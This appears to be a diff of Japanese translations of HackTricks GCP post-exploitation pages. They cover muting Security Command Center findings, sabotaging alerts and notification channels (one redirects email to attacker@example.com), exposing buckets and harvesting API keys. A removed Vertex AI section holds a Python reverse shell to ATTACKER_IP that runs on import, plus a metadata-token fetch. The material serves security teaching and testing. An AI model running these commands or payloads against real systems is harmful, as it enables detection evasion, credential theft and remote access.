gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
攻撃者が興味を持っているときにアラートが作成されないように、スヌーザーのタイミングを更新します:
|
||||
攻撃者が関心を持つ時間帯にアラートが作成されないように、snoozer のタイミングを更新する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>snoozer のタイミングを更新</summary>
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
構成されたチャネルを削除します:
|
||||
設定済みのチャネルを削除する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>通知チャネルを削除</summary>
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
チャネルのラベルを更新して中断します:
|
||||
チャネルのラベルを更新して妨害する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>通知チャネルのラベルを更新</summary>
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Pub/Sub ポストエクスプロイテーション
|
||||
# GCP - Pub/Sub Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Pub/Subに関する詳細情報は、以下のページを確認してください:
|
||||
Pub/Subの詳細については、次のページを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,40 +12,68 @@ Pub/Subに関する詳細情報は、以下のページを確認してくださ
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
トピックにメッセージを公開します。これは、**予期しないデータを送信**し、予期しない機能をトリガーしたり、脆弱性を悪用するのに役立ちます:
|
||||
トピックにメッセージをpublishします。**予期しないデータを送信**して予期しない機能をトリガーしたり脆弱性を悪用したりするのに有用です:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>トピックにメッセージを公開</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
メッセージを受信するのを防ぐために便利で、検出を避けるためかもしれません。
|
||||
subscriptionがメッセージを受信しないようにするのに有用で、検知を回避するために使える場合がある。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>トピックからsubscriptionをデタッチ</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
サブスクリプションがメッセージを受信するのを防ぐために便利で、検出を避けるためかもしれません。\
|
||||
サブスクリプションが接続されていても、トピックを削除することが可能です。
|
||||
サブスクリプションがメッセージを受信するのを防ぎ、検出を回避するのに有用です。\
|
||||
サブスクリプションがアタッチされている状態でも、トピックを削除することが可能です。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Delete topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
この権限を使用して、`--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`などのトピックの設定を更新して妨害します。
|
||||
この権限を使用して、トピックの設定を更新して妨害できます。例: `--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
以前の攻撃を実行するための権限を自分に与えます。
|
||||
自分に権限を付与して、前述のいずれかの攻撃を実行できるようにします。
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
ウェブサーバー内のすべてのメッセージを取得します:
|
||||
ウェブサーバー上のすべてのメッセージを取得する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>メッセージを受信するための push subscription を作成する</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
サブスクリプションを作成し、**メッセージをプル**するために使用します:
|
||||
</details>
|
||||
|
||||
サブスクリプションを作成し、それを使用して **pull messages** を取得します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>pull subscription を作成してメッセージを取得する</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**サブスクリプションを削除する** は、ログ処理システムやそれに類似するものを妨害するのに役立つ可能性があります:
|
||||
**サブスクリプションの削除** は、ログ処理システムなどを中断するのに役立つことがあります:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>サブスクリプションの削除</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
この権限を使用して、メッセージがアクセス可能な場所(URL、Big Queryテーブル、バケット)に保存されるように設定を更新するか、単にそれを妨害します。
|
||||
この権限を使って、メッセージがアクセスできる場所(URL、Big Query table、Bucket)に保存されるよう設定を更新したり、単に妨害したりできます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>サブスクリプションのエンドポイントを更新</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
攻撃を実行するために必要な権限を自分に付与します。
|
||||
前述の攻撃を実行するために必要な権限を自分に付与します。
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
スキーマをトピックに攻撃して、メッセージがそれを満たさないようにし、したがってトピックが中断されます。\
|
||||
スキーマがない場合は、作成する必要があるかもしれません。
|
||||
スキーマをトピックにアタッチして、メッセージがそのスキーマを満たさなくなるようにし、結果としてトピックを妨害します。\
|
||||
スキーマが存在しない場合は、新しく作成する必要があるかもしれません。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スキーマファイルを作成してトピックにアタッチ</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
これはスキーマを削除するように見えるかもしれませんが、スキーマに適合しないメッセージを送信することができます。しかし、スキーマが削除されるため、実際にはどのメッセージもトピックに入ることはありません。したがって、これは**無駄です**:
|
||||
スキーマを削除すると、スキーマに適合しないメッセージを送信できるように見えるかもしれません。しかし、スキーマが削除されるため、実際にはトピックにメッセージは入らないでしょう。したがって、これは **無意味**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スキーマを削除(役に立たない)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
攻撃を実行するために必要な権限を自分に付与します。
|
||||
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
これは、すべての未ACKメッセージのスナップショットを作成し、それらをサブスクリプションに戻します。攻撃者にはあまり役に立ちませんが、ここにあります:
|
||||
これはACKされていないすべてのメッセージのスナップショットを作成し、それらをサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、以下の通りです:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スナップショットを作成してシークする</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Secretmanager ポストエクスプロイテーション
|
||||
# GCP - Secretmanager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secretmanager
|
||||
|
||||
Secret Managerに関する詳細情報は、以下を確認してください:
|
||||
For more information about Secret Manager check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,9 +12,15 @@ Secret Managerに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
これにより、シークレットマネージャーからシークレットを読み取るアクセスが得られ、シークレット内に保存されている情報に応じて特権を昇格させるのに役立つ可能性があります:
|
||||
これは Secret Manager から secrets を読み取るアクセスを与え、保存されている情報によっては権限昇格に役立つことがあります(どの情報がシークレット内に格納されているかによります):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>シークレットバージョンにアクセス</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - セキュリティポストエクスプロイテーション
|
||||
# GCP - セキュリティ ポストエクスプロイテーション
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## セキュリティ
|
||||
|
||||
詳細については、次を確認してください:
|
||||
詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-security-enum.md
|
||||
@@ -12,37 +12,67 @@
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
攻撃者を検出する可能性のある発見の生成を防ぐために、`muteconfig`を作成します:
|
||||
攻撃者を検知し得る検出結果の生成を防ぐために、`muteconfig` を作成します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Muteconfigの作成</summary>
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
攻撃者を検出する可能性のある発見の生成を防ぐために、`muteconfig`を更新します:
|
||||
攻撃者を検出する可能性のある findings の生成を防ぐため、`muteconfig` を更新する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Muteconfig を更新</summary>
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
フィルタに基づいて発見をミュートします:
|
||||
フィルタに基づいて検出結果をミュートする:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>フィルタに基づく一括ミュート</summary>
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
ミュートされた発見は、SCCダッシュボードやレポートに表示されません。
|
||||
</details>
|
||||
|
||||
ミュートされた finding は SCC のダッシュボードやレポートに表示されません。
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
ソース、発見に基づいて発見をミュートします...
|
||||
ソースや findings に基づいてミュートします...
|
||||
|
||||
<details>
|
||||
|
||||
<summary>finding をミュートに設定</summary>
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
誤った情報を示すために発見を更新します:
|
||||
誤った情報であることを示すように検出結果を更新する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>検出結果の状態を更新</summary>
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,22 @@
|
||||
# GCP - ストレージのポストエクスプロイテーション
|
||||
# GCP - Storage Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## クラウドストレージ
|
||||
## Cloud Storage
|
||||
|
||||
クラウドストレージに関する詳細情報は、こちらのページを確認してください:
|
||||
Cloud Storageの詳細は次のページを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 公開アクセスを許可する
|
||||
### Give Public Access
|
||||
|
||||
外部ユーザー(GCPにログインしているかどうかにかかわらず)にバケットのコンテンツへのアクセスを許可することが可能です。ただし、デフォルトではバケットは公開アクセスを許可するオプションが無効になっています:
|
||||
外部ユーザ(GCPにログインしているかどうかに関わらず)にバケットのコンテンツへのアクセスを付与することが可能です。ただし、デフォルトではバケットを公開するオプションは無効になっています:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>バケット/オブジェクトを公開する</summary>
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
バケットの**ACLが無効になっている場合**、ACLをバケットに与えようとすると、次のエラーが表示されます: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
</details>
|
||||
|
||||
ブラウザを介してオープンバケットにアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスします。
|
||||
ACLsが無効になっているバケットに**ACLsを付与しようとすると**、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
公開されているバケットにブラウザからアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスします。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,113 +0,0 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## シナリオ
|
||||
|
||||
- Vertex AI Model Garden は多くの Hugging Face (HF) モデルを直接デプロイできます。
|
||||
- HF のモデル識別子は Author/ModelName です。HF 上の author/org が削除されると、同じ author 名は誰でも再登録できます。攻撃者はその後、同じ ModelName を持つ repo をレガシーなパスに作成できます。
|
||||
- 名前だけで取得する(pinning/integrity がない)Pipelines、SDKs、またはクラウドカタログは攻撃者がコントロールする repo を取得します。モデルがデプロイされると、その repo のローダーコードが Vertex AI endpoint コンテナ内で実行され、エンドポイントの権限で RCE を引き起こす可能性があります。
|
||||
|
||||
HF での一般的な乗っ取りケースは 2 つあります:
|
||||
- Ownership deletion: 旧パスは、誰かが author を再登録して同じ ModelName を公開するまで 404 を返します。
|
||||
- Ownership transfer: HF は旧 Author/ModelName から新しい author へ 307 リダイレクトを発行します。もし旧 author が後に削除され攻撃者によって再登録された場合、リダイレクトチェーンは切断され、攻撃者の repo がレガシーパスで応答します。
|
||||
|
||||
## 再利用可能なネームスペースの特定 (HF)
|
||||
|
||||
- Old author deleted: author のページが 404 を返す; モデルのパスは乗っ取りまで 404 を返す場合があります。
|
||||
- Transferred models: 旧モデルパスは旧 author が存在する間、新しい所有者へ 307 を発行します。もし旧 author が後に削除され再登録されると、レガシーパスは攻撃者の repo を指すようになります。
|
||||
|
||||
curl を使った簡易チェック:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Vertex AI に対するエンドツーエンドの攻撃フロー
|
||||
|
||||
1) Model Garden が deployable として一覧表示している、再利用可能なモデル名前空間を発見する:
|
||||
- Vertex AI Model Garden にある、まだ “verified deployable” と表示されている HF モデルを見つける。
|
||||
- HF 上で元の author が削除されているか、またはモデルが移管されて古い author が後で削除されたかを確認する。
|
||||
|
||||
2) HF 上で削除された author を再登録し、同じ ModelName を再作成する。
|
||||
|
||||
3) 悪意のある repo を公開する。モデルのロード時に実行されるコードを含める。HF のモデルロード時によく実行される例:
|
||||
- repo の __init__.py における副作用
|
||||
- config/auto_map で参照されるカスタムの modeling_*.py や処理コード
|
||||
- Transformers の pipelines で trust_remote_code=True を要求するコードパス
|
||||
|
||||
4) 以前の Author/ModelName を使った Vertex AI のデプロイが攻撃者の repo をプルする。ローダーは Vertex AI endpoint コンテナ内で実行される。
|
||||
|
||||
5) ペイロードは endpoint 環境から(RCE)エンドポイントの権限でアクセスを確立する。
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
メモ
|
||||
- 実際の loaders は様々です。多くの Vertex AI HF integrations はモデル’s config で参照されるリポジトリモジュールをクローンしてインポートします(例: auto_map)。これがコード実行を引き起こす可能性があります。使用によっては trust_remote_code=True が必要です。
|
||||
- endpoint は通常、限定されたスコープの専用コンテナで動作しますが、GCP 内でデータアクセスや横移動のための有効な初期足掛かりとなり得ます。
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
コードが endpoint コンテナ内で実行されている場合は、以下を検討してください:
|
||||
- 資格情報/トークンを得るために環境変数やメタデータを列挙する
|
||||
- アタッチされたストレージやマウントされたモデルアーティファクトにアクセスする
|
||||
- サービスアカウントのアイデンティティを介して Google APIs(Document AI, Storage, Pub/Sub など)とやり取りする
|
||||
- プラットフォームがリポジトリを再取得する場合に備えて、モデルアーティファクト内に永続化を置く
|
||||
|
||||
アクセス可能ならインスタンスのメタデータを列挙する(コンテナ依存):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Vertex AI ユーザー向け防御ガイダンス
|
||||
|
||||
- HF loaders で commit によってモデルを固定し、知らないうちに差し替えられるのを防ぐ:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 検証済みの HF models を信頼できる社内の artifact store/registry にミラーし、そこからデプロイする。
|
||||
- コードベースや設定を継続的にスキャンし、削除/移管された Author/ModelName がハードコードされていないか確認する。新しい名前空間に更新するか、コミットで pin する。
|
||||
- Model Garden では、デプロイ前にモデルの出所と著者の存在を確認する。
|
||||
|
||||
## 検出ヒューリスティクス (HTTP)
|
||||
|
||||
- Deleted author: 著者ページが 404。レガシーモデルのパスも乗っ取りが起こるまで 404。
|
||||
- Transferred model: レガシーパスが 307 で新しい著者へリダイレクトされる(旧著者が存在する間);もし旧著者が後に削除され再登録されると、レガシーパスが攻撃者のコンテンツを配信する。
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 相互参照
|
||||
|
||||
- より広範な方法論とサプライチェーンに関する注意事項を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
## Apikeys
|
||||
|
||||
次の権限はAPIキーを作成し、盗むのに役立ちます。ドキュメントからの注意点: _APIキーは、**プリンシパルなしでアプリケーションを識別する**シンプルな暗号化された文字列です。これらは、**公開データに匿名でアクセスする**ために便利であり、**クォータ**と**請求**のためにAPIリクエストをプロジェクトに**関連付ける**ために使用されます。_
|
||||
以下の権限は、API key を作成および盗用するのに役立ちます。ドキュメントからの注意事項: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
したがって、APIキーを使用すると、その会社にAPIの使用料を支払わせることができますが、権限を昇格させることはできません。
|
||||
したがって、API key によりその会社に API の利用料を支払わせることはできますが、権限昇格はできません。
|
||||
|
||||
APIキーに関する詳細情報は次を確認してください:
|
||||
For more information about API Keys check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
APIキーを作成する他の方法については次を確認してください:
|
||||
For other ways to create API keys check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
@@ -22,48 +22,63 @@ gcp-serviceusage-privesc.md
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
プロジェクトでどのAPIが有効になっているか、または見つけたAPIキーに適用される制限がわからない場合、ツール[**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を実行して、**APIキーでアクセスできるものを確認する**のが興味深いでしょう。
|
||||
プロジェクトでどの API が有効になっているか、または見つけた API key にどのような制限が適用されているかがわからない場合があるため、ツール [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) を実行して、**API key で何にアクセスできるか** を確認するのが有用です。
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
この権限は、**APIキーを作成する**ことを許可します:
|
||||
この権限は **API key を作成する** ことを許可します:
|
||||
|
||||
<details>
|
||||
<summary>gcloud を使って API key を作成</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
スクリプトを自動化するための[**脆弱な環境の作成、悪用、クリーンアップはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh)で見つけることができます。
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> デフォルトでは、ユーザーは新しいプロジェクトを作成する権限を持ち、新しいプロジェクトに対してオーナーの役割が付与されます。したがって、ユーザーは**プロジェクトを作成し、このプロジェクト内にAPIキーを作成することができます**。
|
||||
> デフォルトでは、ユーザーは新しいプロジェクトを作成する権限があり、作成したプロジェクトに対して Owner ロールが付与されることに注意してください。したがって、ユーザーは c**reate a project and an API key inside this project**。
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
これらの権限は、**すべてのapiKeysをリストおよび取得し、キーを取得することを許可します**。
|
||||
これらの権限は **list and get all the apiKeys and get the Key** を許可します:
|
||||
|
||||
<details>
|
||||
<summary>すべての API keys を一覧・取得する</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
スクリプトを自動化するための[**脆弱な環境の作成、悪用、クリーンアップはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)で見つけることができます。
|
||||
</details>
|
||||
|
||||
脆弱な環境の作成、エクスプロイト、クリーンアップを自動化するスクリプトは[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)で入手できます。
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
これらの権限により、**削除されたAPIキーをリストおよび再生成する**ことができます。**未削除**が完了した後、**APIキーは出力に表示されます**:
|
||||
これらの権限により、**削除された API キーを一覧表示および再生成**できます。**undelete** が実行されると、出力に**API キーが表示されます**:
|
||||
|
||||
<details>
|
||||
<summary>API キーの一覧表示と復元</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
### 他の作業者をフィッシングするための内部OAuthアプリケーションを作成する
|
||||
</details>
|
||||
|
||||
この操作はサービス**`clientauthconfig`**に属するため、これを行う方法を学ぶには以下のページを確認してください [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
### 他のワーカーをphishするための内部OAuthアプリケーションを作成する
|
||||
|
||||
方法については以下のページを確認してください。ただし、この操作はドキュメントによればサービス **`clientauthconfig`** に属します: [https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin)
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
App Engineに関する詳細情報は以下を確認してください:
|
||||
For more information about App Engine check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,26 +12,34 @@ App Engineに関する詳細情報は以下を確認してください:
|
||||
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
これらは**`gcloud` cli**を使用してアプリをデプロイするために必要な権限です。おそらく**`get`**および**`list`**の権限は**回避**できるかもしれません。
|
||||
これらは、**`gcloud` CLIを使用してアプリをデプロイする**ために必要な権限です。おそらく **`get`** と **`list`** の権限は **不要** な場合があります。
|
||||
|
||||
